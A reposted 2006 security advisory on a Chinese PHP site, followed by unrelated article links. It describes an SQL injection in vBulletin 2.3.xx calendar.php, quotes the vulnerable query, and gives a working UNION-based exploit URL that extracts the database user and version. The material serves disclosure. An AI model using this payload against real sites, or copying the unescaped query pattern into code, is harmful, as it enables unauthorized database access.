编程 PHP

vBulletin Forum 2.3.xx SQL Injection

Posted in PHP onOctober 09, 2006

vBulletin Forum 2.3.xx SQL Injection There exist a sql injection problem in calendar.php.

-------- Cut from line 585 in calendar.php ----------
else if ($action == "edit")
{
$eventinfo = $DB_site->query_first("SELECT allowsmilies,public,userid,
eventdate,event,subject FROM calendar_events WHERE eventid = $eventid");
-----------------------------------------------------

If the MySQL version is greater than 4.00, a UNION attack could be used.

-----------------------------------------
http://ww.xxx.com/bbs/calendar.php?action=edit&eventid=12%20union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_ev
ents%20WHERE%20eventid%20=%2013)%20order%20by%20eventdate
-----------------------------------------

The query_first function will only return the first row of the query result, so make sure it returns !
the one you want.

vBulletin Forum 2.3.xx SQL Injection

声明：登载此文出于传递更多信息之目的，并不意味着赞同其观点或证实其描述。

PHP 相关文章推荐

用PHP动态创建Flash动画

Oct 09 PHP

写一个用户在线显示的程序

Oct 09 PHP

PHP设置一边执行一边输出结果的代码

Sep 30 PHP

PHP面向对象之旅:深入理解static变量与方法

Jan 06 PHP

PHP实现指定字段的多维数组排序函数分享

Mar 09 PHP

php的crc32函数使用时需要注意的问题(不然就是坑)

Apr 21 PHP

帝国cms常用标签汇总

Jul 06 PHP

学习php设计模式 php实现适配器模式

Dec 07 PHP

yii2整合百度编辑器umeditor及umeditor图片上传问题的解决办法

Apr 20 PHP

PHP实现PDO操作mysql存储过程示例

Feb 13 PHP

Thinkphp 框架扩展之Widget扩展实现方法分析

Apr 23 PHP

php中数组最简单的使用方法

Dec 27 PHP

PHP_Flame(Version:Progress)的原代码

Oct 09 #PHP

图形数字验证代码

Oct 09 #PHP

用PHP函数解决SQL injection

Oct 09 #PHP

session 的生命周期是多长

Oct 09 #PHP

做个自己站内搜索引擎

Oct 09 #PHP

用libTemplate实现静态网页的生成

Oct 09 #PHP

php注入实例

Oct 09 #PHP

You might like

【动漫杂谈】关于《请在T台上微笑》

2020/03/03 日漫

php数组函数序列之array_combine() - 数组合并函数使用说明

2011/10/29 PHP

完美解决令人抓狂的zend studio 7代码提示(content Assist)速度慢的问题

2013/06/20 PHP

php实现将任意进制数转换成10进制的方法

2015/04/17 PHP

php实现的递归提成方案实例

2015/11/14 PHP

PHP框架Laravel中使用UUID实现数据分表操作示例

2018/05/30 PHP

Laravel5.3+框架定义API路径取消CSRF保护方法详解

2020/04/06 PHP

Thinkphp5+Redis实现商品秒杀代码实例讲解

2020/12/29 PHP

JS实现的一个简单的Autocomplete自动完成例子

2014/04/16 Javascript

如何正确使用javascript 来进行我们的程序开发

2014/06/23 Javascript

仿淘宝TAB切换搜索框搜索切换的相关内容

2014/09/21 Javascript

浅谈JS日期(Date)处理函数

2014/12/07 Javascript

jQuery中:animated选择器用法实例

2014/12/29 Javascript

JS中捕获console.log()输出的方法

2015/04/16 Javascript

jQGrid Table操作列中点击【操作】按钮弹出按钮层的实现代码

2016/12/05 Javascript

深入理解vue路由的使用

2017/03/24 Javascript

jQuery回调方法使用示例

2017/06/26 jQuery

详解webpack自动生成html页面

2017/06/29 Javascript

基于vue的短信验证码倒计时demo

2017/09/13 Javascript

AngularJS实现的输入框字数限制提醒功能示例

2017/10/26 Javascript

vue实现的微信机器人聊天功能案例【附源码下载】

2019/02/18 Javascript

浅入深出Vue之组件使用

2019/07/11 Javascript

微信小程序实现页面分享onShareAppMessage

2019/08/12 Javascript

[37:29]完美世界DOTA2联赛PWL S2 LBZS vs Forest 第二场 11.19

2020/11/19 DOTA

Python中Threading用法详解

2017/12/27 Python

详解Django之admin组件的使用和源码剖析

2018/05/04 Python

Python之文字转图片方法

2018/05/10 Python

python实现串口自动触发工作的示例

2019/07/02 Python

python3实现微型的web服务器

2019/09/03 Python

python 实现批量替换文本中的某部分内容

2019/12/13 Python

美体小铺瑞典官方网站：The Body Shop瑞典

2018/01/27 全球购物

工程师自我评价怎么写

2013/09/19 职场文书

数据保密承诺书

2014/06/03 职场文书

社区班子对照检查材料

2014/08/27 职场文书

迎国庆演讲稿

2014/09/15 职场文书

tree shaking对打包体积优化及作用

2022/07/07 Java/Android